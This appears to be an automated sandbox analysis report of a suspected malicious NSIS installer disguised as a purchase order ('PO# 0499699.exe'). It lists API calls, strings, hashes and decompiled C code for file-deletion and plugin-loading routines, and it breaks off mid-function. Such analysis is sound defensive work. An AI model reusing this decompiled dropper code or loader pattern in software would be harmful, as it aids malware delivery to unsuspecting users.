Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

SHGetFileInfoA.SHELL32(0041F430,00000000,?,00000160,00000000,00000008), ref: 00403124

Part of subcall function 004059DD: lstrcpynA.KERNEL32(?,?,00000400,00403139,00423680,NSIS Error), ref: 004059EA

GetCommandLineA.KERNEL32(00423680,NSIS Error), ref: 00403139
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000), ref: 0040314C
CharNextA.USER32(00000000,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000020), ref: 00403177
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040320A
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040321F
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040322B
DeleteFileA.KERNELBASE(1033), ref: 0040323E
OleUninitialize.OLE32(00000000), ref: 004032BC
ExitProcess.KERNEL32 ref: 004032DC
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000,00000000), ref: 004032E8
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000,00000000), ref: 004032F4
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403300
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403307
DeleteFileA.KERNEL32(0041F030,0041F030,?,00424000,?), ref: 00403351
CopyFileA.KERNEL32 ref: 00403365
CloseHandle.KERNEL32(00000000,0041F030,0041F030,?,0041F030,00000000), ref: 00403392
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 004033E7
ExitWindowsEx.USER32(00000002,00000000), ref: 00403423
ExitProcess.KERNEL32 ref: 00403446

Strings

", xrefs: 00403199
C:\Users\user\Desktop\PO# 0499699.exe, xrefs: 00403360
SeShutdownPrivilege, xrefs: 004033F9
\Temp, xrefs: 00403225
1033, xrefs: 00403239
C:\Users\user\AppData\Local\Temp\, xrefs: 004031FF, 00403204, 0040321E, 0040322A, 004032E7, 004032F3, 004032FF, 00403306, 004033A6
C:\Users\user\Desktop, xrefs: 004032ED, 004032F2, 00403315
C:\Users\user\AppData\Local\Temp, xrefs: 004031F5, 0040328E, 0040330D, 00403316
Error launching installer, xrefs: 00403274
NSIS Error, xrefs: 0040312A
"C:\Users\user\Desktop\PO# 0499699.exe" , xrefs: 0040313F, 00403145, 0040325B
~nsu.tmp, xrefs: 004032E2
_?=, xrefs: 00403265
C:\Users\user\AppData\Local\Temp, xrefs: 00403299
NCRC, xrefs: 004031B7
/D=, xrefs: 004031CD

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$DirectoryExitHandleProcess$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"$"C:\Users\user\Desktop\PO# 0499699.exe" $1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PO# 0499699.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2278157092-87220508
Opcode ID: dac8a3e4b42874552ff3bf8d63fabb06b1ed44114a57f908459e075a30442c4d
Instruction ID: cc286ec977d2638fbe9c092aa5ad16f4889e12429ffafd7da1ab197300c5bae6
Opcode Fuzzy Hash: dac8a3e4b42874552ff3bf8d63fabb06b1ed44114a57f908459e075a30442c4d
Instruction Fuzzy Hash: 9691B170A08340AED7216F619D49B6B7EACEB0530AF44047FF581B62D2C77C9E458B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405302, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00405302(void* __ebx, void* __eflags, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				struct _WIN32_FIND_DATAA _v332;
				signed int _t37;
				char* _t49;
				signed int _t52;
				signed int _t55;
				signed int _t61;
				signed int _t63;
				void* _t65;
				signed int _t68;
				CHAR* _t70;
				CHAR* _t72;
				char* _t75;

				_t72 = _a4;
				_t37 = E004055B1(__eflags, _t72);
				_v12 = _t37;
				if((_a8 & 0x00000008) != 0) {
					_t63 = DeleteFileA(_t72); // executed
					asm("sbb eax, eax");
					_t65 =  ~_t63 + 1;
					 *0x423f08 =  *0x423f08 + _t65;
					return _t65;
				}
				_t68 = _a8 & 0x00000001;
				__eflags = _t68;
				_v8 = _t68;
				if(_t68 == 0) {
					L5:
					E004059DD(0x421480, _t72);
					__eflags = _t68;
					if(_t68 == 0) {
						E00405517(_t72);
					} else {
						lstrcatA(0x421480, "\*.*");
					}
					__eflags =  *_t72;
					if( *_t72 != 0) {
						L10:
						lstrcatA(_t72, 0x409010);
						L11:
						_t70 =  &(_t72[lstrlenA(_t72)]);
						_t37 = FindFirstFileA(0x421480,  &_v332);
						__eflags = _t37 - 0xffffffff;
						_a4 = _t37;
						if(_t37 == 0xffffffff) {
							L29:
							__eflags = _v8;
							if(_v8 != 0) {
								_t31 = _t70 - 1;
								 *_t31 =  *(_t70 - 1) & 0x00000000;
								__eflags =  *_t31;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t75 =  &(_v332.cFileName);
							_t49 = E004054FB( &(_v332.cFileName), 0x3f);
							__eflags =  *_t49;
							if( *_t49 != 0) {
								__eflags = _v332.cAlternateFileName;
								if(_v332.cAlternateFileName != 0) {
									_t75 =  &(_v332.cAlternateFileName);
								}
							}
							__eflags =  *_t75 - 0x2e;
							if( *_t75 != 0x2e) {
								L19:
								E004059DD(_t70, _t75);
								__eflags = _v332.dwFileAttributes & 0x00000010;
								if((_v332.dwFileAttributes & 0x00000010) == 0) {
									E00405695(_t72);
									_t52 = DeleteFileA(_t72);
									__eflags = _t52;
									if(_t52 != 0) {
										E00404D7B(0xfffffff2, _t72);
									} else {
										__eflags = _a8 & 0x00000004;
										if((_a8 & 0x00000004) == 0) {
											 *0x423f08 =  *0x423f08 + 1;
										} else {
											E00404D7B(0xfffffff1, _t72);
											_push(0);
											_push(_t72);
											E0040572B();
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405302(_t70, __eflags, _t72, _a8);
									}
								}
								goto L27;
							}
							_t61 =  *((intOrPtr*)(_t75 + 1));
							__eflags = _t61;
							if(_t61 == 0) {
								goto L27;
							}
							__eflags = _t61 - 0x2e;
							if(_t61 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t75 + 2));
							if( *((char*)(_t75 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t55 = FindNextFileA(_a4,  &_v332);
							__eflags = _t55;
						} while (_t55 != 0);
						_t37 = FindClose(_a4);
						goto L29;
					}
					__eflags =  *0x421480 - 0x5c;
					if( *0x421480 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t37;
					if(_t37 == 0) {
						L31:
						__eflags = _v8;
						if(_v8 == 0) {
							L39:
							return _t37;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t37 = E00405CD8(_t72);
							__eflags = _t37;
							if(_t37 == 0) {
								goto L39;
							}
							E004054D0(_t72);
							E00405695(_t72);
							_t37 = RemoveDirectoryA(_t72);
							__eflags = _t37;
							if(_t37 != 0) {
								return E00404D7B(0xffffffe5, _t72);
							}
							__eflags = _a8 & 0x00000004;
							if((_a8 & 0x00000004) == 0) {
								goto L33;
							}
							E00404D7B(0xfffffff1, _t72);
							_push(0);
							_push(_t72);
							return E0040572B();
						}
						L33:
						 *0x423f08 =  *0x423f08 + 1;
						return _t37;
					}
					__eflags = _a8 & 0x00000002;
					if((_a8 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x0040530d
0x00405311
0x0040531a
0x0040531d
0x00405320
0x00405328
0x0040532a
0x0040532b
0x00000000
0x0040532b
0x0040533a
0x0040533a
0x0040533d
0x00405340
0x00405354
0x0040535b
0x00405360
0x00405362
0x00405372
0x00405364
0x0040536a
0x0040536a
0x00405377
0x0040537a
0x00405385
0x0040538b
0x00405390
0x004053a0
0x004053a2
0x004053a8
0x004053ab
0x004053ae
0x0040546b
0x0040546b
0x0040546f
0x00405471
0x00405471
0x00405471
0x00405471
0x00000000
0x00000000
0x00000000
0x00000000
0x004053b4
0x004053b4
0x004053bd
0x004053c3
0x004053c8
0x004053cb
0x004053cd
0x004053d1
0x004053d3
0x004053d3
0x004053d1
0x004053d6
0x004053d9
0x004053ec
0x004053ee
0x004053f3
0x004053fa
0x00405412
0x00405418
0x0040541e
0x00405420
0x00405445
0x00405422
0x00405422
0x00405426
0x0040543a
0x00405428
0x0040542b
0x00405430
0x00405432
0x00405433
0x00405433
0x00405426
0x004053fc
0x00405402
0x00405404
0x0040540a
0x0040540a
0x00405404
0x00000000
0x004053fa
0x004053db
0x004053de
0x004053e0
0x00000000
0x00000000
0x004053e2
0x004053e4
0x00000000
0x00000000
0x004053e6
0x004053ea
0x00000000
0x00000000
0x00000000
0x0040544a
0x00405454
0x0040545a
0x0040545a
0x00405465
0x00000000
0x00405465
0x0040537c
0x00405383
0x00000000
0x00000000
0x00000000
0x00405342
0x00405342
0x00405344
0x00405475
0x00405478
0x0040547b
0x004054cd
0x004054cd
0x004054cd
0x0040547d
0x00405480
0x0040548b
0x00405490
0x00405492
0x00000000
0x00000000
0x00405495
0x0040549b
0x004054a1
0x004054a7
0x004054a9
0x00000000
0x004054c5
0x004054ab
0x004054af
0x00000000
0x00000000
0x004054b4
0x004054b9
0x004054ba
0x00000000
0x004054bb
0x00405482
0x00405482
0x00000000
0x00405482
0x0040534a
0x0040534e
0x00000000
0x00000000
0x00000000
0x0040534e

APIs

DeleteFileA.KERNELBASE(?,?,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000), ref: 00405320
lstrcatA.KERNEL32(00421480,\*.*,00421480,?,00000000,?,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000), ref: 0040536A
lstrcatA.KERNEL32(?,00409010,?,00421480,?,00000000,?,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000), ref: 0040538B
lstrlenA.KERNEL32(?,?,00409010,?,00421480,?,00000000,?,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000), ref: 00405391
FindFirstFileA.KERNEL32(00421480,?,?,?,00409010,?,00421480,?,00000000,?,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000), ref: 004053A2
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 00405454
FindClose.KERNEL32(?), ref: 00405465

Strings

\*.*, xrefs: 00405364
"C:\Users\user\Desktop\PO# 0499699.exe" , xrefs: 0040530C
C:\Users\user\AppData\Local\Temp\, xrefs: 00405302

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\PO# 0499699.exe" $C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3501689924
Opcode ID: 839bd3744fd32e7d0185c0b890ed2fdcf981fbc651edb5541a67b6ee6968ffb2
Instruction ID: 4b200e60d3e8d58e0ab6cbb93b3ca9934a2dcfa31e3b076817fab6d13423d761
Opcode Fuzzy Hash: 839bd3744fd32e7d0185c0b890ed2fdcf981fbc651edb5541a67b6ee6968ffb2
Instruction Fuzzy Hash: 45511230844A48B6DB226B228C45BFF3A78DF4275AF14813BF845751D1C77C4981DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 6FC61A98, Relevance: 20.1, APIs: 13, Instructions: 591
stringlibrarymemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E6FC61A98() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				CHAR* _v24;
				CHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				CHAR* _v48;
				signed int _v52;
				void* _v56;
				intOrPtr _v60;
				CHAR* _t207;
				signed int _t210;
				void* _t212;
				void* _t214;
				CHAR* _t216;
				void* _t224;
				struct HINSTANCE__* _t225;
				struct HINSTANCE__* _t226;
				struct HINSTANCE__* _t228;
				signed short _t230;
				struct HINSTANCE__* _t233;
				struct HINSTANCE__* _t235;
				void* _t236;
				char* _t237;
				void* _t248;
				signed char _t249;
				signed int _t250;
				void* _t254;
				struct HINSTANCE__* _t256;
				void* _t257;
				signed int _t259;
				intOrPtr _t260;
				char* _t263;
				signed int _t268;
				signed int _t271;
				signed int _t273;
				void* _t276;
				void* _t280;
				struct HINSTANCE__* _t282;
				intOrPtr _t285;
				void _t286;
				signed int _t287;
				signed int _t299;
				signed int _t300;
				intOrPtr _t303;
				void* _t304;
				signed int _t308;
				signed int _t311;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				intOrPtr _t319;
				intOrPtr* _t320;
				CHAR* _t321;
				CHAR* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				void* _t327;
				signed int _t328;
				void* _t329;

				_t282 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t329 = 0;
				_v52 = 0;
				_v44 = 0;
				_t207 = E6FC61215();
				_v24 = _t207;
				_v28 = _t207;
				_v48 = E6FC61215();
				_t320 = E6FC6123B();
				_v56 = _t320;
				_v12 = _t320;
				while(1) {
					_t210 = _v32;
					_v60 = _t210;
					if(_t210 != _t282 && _t329 == _t282) {
						break;
					}
					_t319 =  *_t320;
					_t285 = _t319;
					_t212 = _t285 - _t282;
					if(_t212 == 0) {
						_t37 =  &_v32;
						 *_t37 = _v32 | 0xffffffff;
						__eflags =  *_t37;
						L20:
						_t214 = _v60 - _t282;
						if(_t214 == 0) {
							 *_v28 =  *_v28 & 0x00000000;
							__eflags = _t329 - _t282;
							if(_t329 == _t282) {
								_t254 = GlobalAlloc(0x40, 0x14a4); // executed
								_t329 = _t254;
								 *(_t329 + 0x810) = _t282;
								 *(_t329 + 0x814) = _t282;
							}
							_t286 = _v36;
							_t47 = _t329 + 8; // 0x8
							_t216 = _t47;
							_t48 = _t329 + 0x408; // 0x408
							_t321 = _t48;
							 *_t329 = _t286;
							 *_t216 =  *_t216 & 0x00000000;
							 *(_t329 + 0x808) = _t282;
							 *_t321 =  *_t321 & 0x00000000;
							_t287 = _t286 - _t282;
							__eflags = _t287;
							 *(_t329 + 0x80c) = _t282;
							 *(_t329 + 4) = _t282;
							if(_t287 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L42;
								}
								_t327 = 0;
								GlobalFree(_t329);
								_t329 = E6FC612FE(_v24);
								__eflags = _t329 - _t282;
								if(_t329 == _t282) {
									goto L42;
								} else {
									goto L35;
								}
								while(1) {
									L35:
									_t248 =  *(_t329 + 0x14a0);
									__eflags = _t248 - _t282;
									if(_t248 == _t282) {
										break;
									}
									_t327 = _t329;
									_t329 = _t248;
									__eflags = _t329 - _t282;
									if(_t329 != _t282) {
										continue;
									}
									break;
								}
								__eflags = _t327 - _t282;
								if(_t327 != _t282) {
									 *(_t327 + 0x14a0) = _t282;
								}
								_t249 =  *(_t329 + 0x810);
								__eflags = _t249 & 0x00000008;
								if((_t249 & 0x00000008) == 0) {
									_t250 = _t249 | 0x00000002;
									__eflags = _t250;
									 *(_t329 + 0x810) = _t250;
								} else {
									_t329 = E6FC61534(_t329);
									 *(_t329 + 0x810) =  *(_t329 + 0x810) & 0xfffffff5;
								}
								goto L42;
							} else {
								_t299 = _t287 - 1;
								__eflags = _t299;
								if(_t299 == 0) {
									L31:
									lstrcpyA(_t216, _v48);
									L32:
									lstrcpyA(_t321, _v24);
									goto L42;
								}
								_t300 = _t299 - 1;
								__eflags = _t300;
								if(_t300 == 0) {
									goto L32;
								}
								__eflags = _t300 != 1;
								if(_t300 != 1) {
									goto L42;
								}
								goto L31;
							}
						} else {
							if(_t214 == 1) {
								_t256 = _v16;
								if(_v40 == _t282) {
									_t256 = _t256 - 1;
								}
								 *(_t329 + 0x814) = _t256;
							}
							L42:
							_v12 = _v12 + 1;
							_v28 = _v24;
							L59:
							if(_v32 != 0xffffffff) {
								_t320 = _v12;
								continue;
							}
							break;
						}
					}
					_t257 = _t212 - 0x23;
					if(_t257 == 0) {
						__eflags = _t320 - _v56;
						if(_t320 <= _v56) {
							L17:
							__eflags = _v44 - _t282;
							if(_v44 != _t282) {
								L43:
								_t259 = _v32 - _t282;
								__eflags = _t259;
								if(_t259 == 0) {
									_t260 = _t319;
									while(1) {
										__eflags = _t260 - 0x22;
										if(_t260 != 0x22) {
											break;
										}
										_t320 = _t320 + 1;
										__eflags = _v44 - _t282;
										_v12 = _t320;
										if(_v44 == _t282) {
											_v44 = 1;
											L162:
											_v28 =  &(_v28[1]);
											 *_v28 =  *_t320;
											L58:
											_t328 = _t320 + 1;
											__eflags = _t328;
											_v12 = _t328;
											goto L59;
										}
										_t260 =  *_t320;
										_v44 = _t282;
									}
									__eflags = _t260 - 0x2a;
									if(_t260 == 0x2a) {
										_v36 = 2;
										L57:
										_t320 = _v12;
										_v28 = _v24;
										_t282 = 0;
										__eflags = 0;
										goto L58;
									}
									__eflags = _t260 - 0x2d;
									if(_t260 == 0x2d) {
										L151:
										_t303 =  *_t320;
										__eflags = _t303 - 0x2d;
										if(_t303 != 0x2d) {
											L154:
											_t263 = _t320 + 1;
											__eflags =  *_t263 - 0x3a;
											if( *_t263 != 0x3a) {
												goto L162;
											}
											__eflags = _t303 - 0x2d;
											if(_t303 == 0x2d) {
												goto L162;
											}
											_v36 = 1;
											L157:
											_v12 = _t263;
											__eflags = _v28 - _v24;
											if(_v28 <= _v24) {
												 *_v48 =  *_v48 & 0x00000000;
											} else {
												 *_v28 =  *_v28 & 0x00000000;
												lstrcpyA(_v48, _v24);
											}
											goto L57;
										}
										_t263 = _t320 + 1;
										__eflags =  *_t263 - 0x3e;
										if( *_t263 != 0x3e) {
											goto L154;
										}
										_v36 = 3;
										goto L157;
									}
									__eflags = _t260 - 0x3a;
									if(_t260 != 0x3a) {
										goto L162;
									}
									goto L151;
								}
								_t268 = _t259 - 1;
								__eflags = _t268;
								if(_t268 == 0) {
									L80:
									_t304 = _t285 + 0xffffffde;
									__eflags = _t304 - 0x55;
									if(_t304 > 0x55) {
										goto L57;
									}
									switch( *((intOrPtr*)(( *(_t304 + 0x6fc62259) & 0x000000ff) * 4 +  &M6FC621CD))) {
										case 0:
											__eax = _v24;
											__edi = _v12;
											while(1) {
												__edi = __edi + 1;
												_v12 = __edi;
												__cl =  *__edi;
												__eflags = __cl - __dl;
												if(__cl != __dl) {
													goto L132;
												}
												L131:
												__eflags =  *(__edi + 1) - __dl;
												if( *(__edi + 1) != __dl) {
													L136:
													 *__eax =  *__eax & 0x00000000;
													__eax = E6FC61224(_v24);
													__ebx = __eax;
													goto L97;
												}
												L132:
												__eflags = __cl;
												if(__cl == 0) {
													goto L136;
												}
												__eflags = __cl - __dl;
												if(__cl == __dl) {
													__edi = __edi + 1;
													__eflags = __edi;
												}
												__cl =  *__edi;
												 *__eax =  *__edi;
												__eax = __eax + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__cl =  *__edi;
												__eflags = __cl - __dl;
												if(__cl != __dl) {
													goto L132;
												}
												goto L131;
											}
										case 1:
											_v8 = 1;
											goto L57;
										case 2:
											_v8 = _v8 | 0xffffffff;
											goto L57;
										case 3:
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v16 = _v16 + 1;
											goto L85;
										case 4:
											__eflags = _v20;
											if(_v20 != 0) {
												goto L57;
											}
											_v12 = _v12 - 1;
											__ebx = E6FC61215();
											 &_v12 = E6FC61A36( &_v12);
											__eax = E6FC61429(__edx, __eax, __edx, __ebx);
											goto L97;
										case 5:
											L105:
											_v20 = _v20 + 1;
											goto L57;
										case 6:
											_push(7);
											goto L123;
										case 7:
											_push(0x19);
											goto L143;
										case 8:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L107;
										case 9:
											_push(0x15);
											goto L143;
										case 0xa:
											_push(0x16);
											goto L143;
										case 0xb:
											_push(0x18);
											goto L143;
										case 0xc:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L118;
										case 0xd:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L109;
										case 0xe:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L111;
										case 0xf:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L122;
										case 0x10:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L113;
										case 0x11:
											_push(3);
											goto L123;
										case 0x12:
											_push(0x17);
											L143:
											_pop(__ebx);
											goto L98;
										case 0x13:
											__eax =  &_v12;
											__eax = E6FC61A36( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											__eflags = __ebx - 0xb;
											if(__ebx < 0xb) {
												__ebx = __ebx + 0xa;
											}
											goto L97;
										case 0x14:
											__ebx = 0xffffffff;
											goto L98;
										case 0x15:
											__eax = 0;
											__eflags = 0;
											goto L116;
										case 0x16:
											__ecx = 0;
											__eflags = 0;
											goto L91;
										case 0x17:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L120;
										case 0x18:
											_t270 =  *(_t329 + 0x814);
											__eflags = _t270 - _v16;
											if(_t270 > _v16) {
												_v16 = _t270;
											}
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v36 - 3 = _t270 - (_v36 == 3);
											if(_t270 != _v36 == 3) {
												L85:
												_v40 = 1;
											}
											goto L57;
										case 0x19:
											L107:
											__ecx = 0;
											_v8 = 2;
											__ecx = 1;
											goto L91;
										case 0x1a:
											L118:
											_push(5);
											goto L123;
										case 0x1b:
											L109:
											__ecx = 0;
											_v8 = 3;
											__ecx = 1;
											goto L91;
										case 0x1c:
											L111:
											__ecx = 0;
											__ecx = 1;
											goto L91;
										case 0x1d:
											L122:
											_push(6);
											goto L123;
										case 0x1e:
											L113:
											_push(2);
											goto L123;
										case 0x1f:
											__eax =  &_v12;
											__eax = E6FC61A36( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											goto L97;
										case 0x20:
											L116:
											_v52 = _v52 + 1;
											_push(3);
											_pop(__ecx);
											goto L91;
										case 0x21:
											L120:
											_push(4);
											L123:
											_pop(__ecx);
											L91:
											__edi = _v16;
											__edx =  *(0x6fc6305c + __ecx * 4);
											__eax =  ~__eax;
											asm("sbb eax, eax");
											_v40 = 1;
											__edi = _v16 << 5;
											__eax = __eax & 0x00008000;
											__edi = (_v16 << 5) + __esi;
											__eax = __eax | __ecx;
											__eflags = _v8;
											 *(__edi + 0x818) = __eax;
											if(_v8 < 0) {
												L93:
												__edx = 0;
												__edx = 1;
												__eflags = 1;
												L94:
												__eflags = _v8 - 1;
												 *(__edi + 0x828) = __edx;
												if(_v8 == 1) {
													__eax =  &_v12;
													__eax = E6FC61A36( &_v12);
													__eax = __eax + 1;
													__eflags = __eax;
													_v8 = __eax;
												}
												__eax = _v8;
												 *((intOrPtr*)(__edi + 0x81c)) = _v8;
												_t136 = _v16 + 0x41; // 0x41
												_t136 = _t136 << 5;
												__eax = 0;
												__eflags = 0;
												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
												 *((intOrPtr*)(__edi + 0x830)) = 0;
												 *((intOrPtr*)(__edi + 0x82c)) = 0;
												L97:
												__eflags = __ebx;
												if(__ebx == 0) {
													goto L57;
												}
												L98:
												__eflags = _v20;
												_v40 = 1;
												if(_v20 != 0) {
													L103:
													__eflags = _v20 - 1;
													if(_v20 == 1) {
														__eax = _v16;
														__eax = _v16 << 5;
														__eflags = __eax;
														 *(__eax + __esi + 0x82c) = __ebx;
													}
													goto L105;
												}
												_v16 = _v16 << 5;
												_t144 = __esi + 0x830; // 0x830
												__edi = (_v16 << 5) + _t144;
												__eax =  *__edi;
												__eflags = __eax - 0xffffffff;
												if(__eax <= 0xffffffff) {
													L101:
													__eax = GlobalFree(__eax);
													L102:
													 *__edi = __ebx;
													goto L103;
												}
												__eflags = __eax - 0x19;
												if(__eax <= 0x19) {
													goto L102;
												}
												goto L101;
											}
											__eflags = __edx;
											if(__edx > 0) {
												goto L94;
											}
											goto L93;
										case 0x22:
											goto L57;
									}
								}
								_t271 = _t268 - 1;
								__eflags = _t271;
								if(_t271 == 0) {
									_v16 = _t282;
									goto L80;
								}
								__eflags = _t271 != 1;
								if(_t271 != 1) {
									goto L162;
								}
								__eflags = _t285 - 0x6e;
								if(__eflags > 0) {
									_t308 = _t285 - 0x72;
									__eflags = _t308;
									if(_t308 == 0) {
										_push(4);
										L74:
										_pop(_t273);
										L75:
										__eflags = _v8 - 1;
										if(_v8 != 1) {
											_t96 = _t329 + 0x810;
											 *_t96 =  *(_t329 + 0x810) &  !_t273;
											__eflags =  *_t96;
										} else {
											 *(_t329 + 0x810) =  *(_t329 + 0x810) | _t273;
										}
										_v8 = 1;
										goto L57;
									}
									_t311 = _t308 - 1;
									__eflags = _t311;
									if(_t311 == 0) {
										_push(0x10);
										goto L74;
									}
									__eflags = _t311 != 0;
									if(_t311 != 0) {
										goto L57;
									}
									_push(0x40);
									goto L74;
								}
								if(__eflags == 0) {
									_push(8);
									goto L74;
								}
								_t314 = _t285 - 0x21;
								__eflags = _t314;
								if(_t314 == 0) {
									_v8 =  ~_v8;
									goto L57;
								}
								_t315 = _t314 - 0x11;
								__eflags = _t315;
								if(_t315 == 0) {
									_t273 = 0x100;
									goto L75;
								}
								_t316 = _t315 - 0x31;
								__eflags = _t316;
								if(_t316 == 0) {
									_t273 = 1;
									goto L75;
								}
								__eflags = _t316 != 0;
								if(_t316 != 0) {
									goto L57;
								}
								_push(0x20);
								goto L74;
							} else {
								_v32 = _t282;
								_v36 = _t282;
								goto L20;
							}
						}
						__eflags =  *((char*)(_t320 - 1)) - 0x3a;
						if( *((char*)(_t320 - 1)) != 0x3a) {
							goto L17;
						}
						__eflags = _v32 - _t282;
						if(_v32 == _t282) {
							goto L43;
						}
						goto L17;
					}
					_t276 = _t257 - 5;
					if(_t276 == 0) {
						__eflags = _v44 - _t282;
						if(_v44 != _t282) {
							goto L43;
						} else {
							__eflags = _v36 - 3;
							_v32 = 1;
							_v8 = _t282;
							_v20 = _t282;
							_v16 = (0 | _v36 == 0x00000003) + 1;
							_v40 = _t282;
							goto L20;
						}
					}
					_t280 = _t276 - 1;
					if(_t280 == 0) {
						__eflags = _v44 - _t282;
						if(_v44 != _t282) {
							goto L43;
						} else {
							_v32 = 2;
							_v8 = _t282;
							_v20 = _t282;
							goto L20;
						}
					}
					if(_t280 != 0x16) {
						goto L43;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L20;
					}
				}
				GlobalFree(_v56);
				GlobalFree(_v24);
				GlobalFree(_v48);
				if(_t329 == _t282 ||  *(_t329 + 0x80c) != _t282) {
					L182:
					return _t329;
				} else {
					_t224 =  *_t329 - 1;
					if(_t224 == 0) {
						_t187 = _t329 + 8; // 0x8
						_t323 = _t187;
						__eflags =  *_t323;
						if( *_t323 != 0) {
							_t225 = GetModuleHandleA(_t323);
							__eflags = _t225 - _t282;
							 *(_t329 + 0x808) = _t225;
							if(_t225 != _t282) {
								L171:
								_t192 = _t329 + 0x408; // 0x408
								_t324 = _t192;
								_t226 = E6FC615C2( *(_t329 + 0x808), _t324);
								__eflags = _t226 - _t282;
								 *(_t329 + 0x80c) = _t226;
								if(_t226 == _t282) {
									__eflags =  *_t324 - 0x23;
									if( *_t324 == 0x23) {
										_t195 = _t329 + 0x409; // 0x409
										_t230 = E6FC612FE(_t195);
										__eflags = _t230 - _t282;
										if(_t230 != _t282) {
											__eflags = _t230 & 0xffff0000;
											if((_t230 & 0xffff0000) == 0) {
												 *(_t329 + 0x80c) = GetProcAddress( *(_t329 + 0x808), _t230 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v52 - _t282;
								if(_v52 != _t282) {
									L178:
									_t324[lstrlenA(_t324)] = 0x41;
									_t228 = E6FC615C2( *(_t329 + 0x808), _t324);
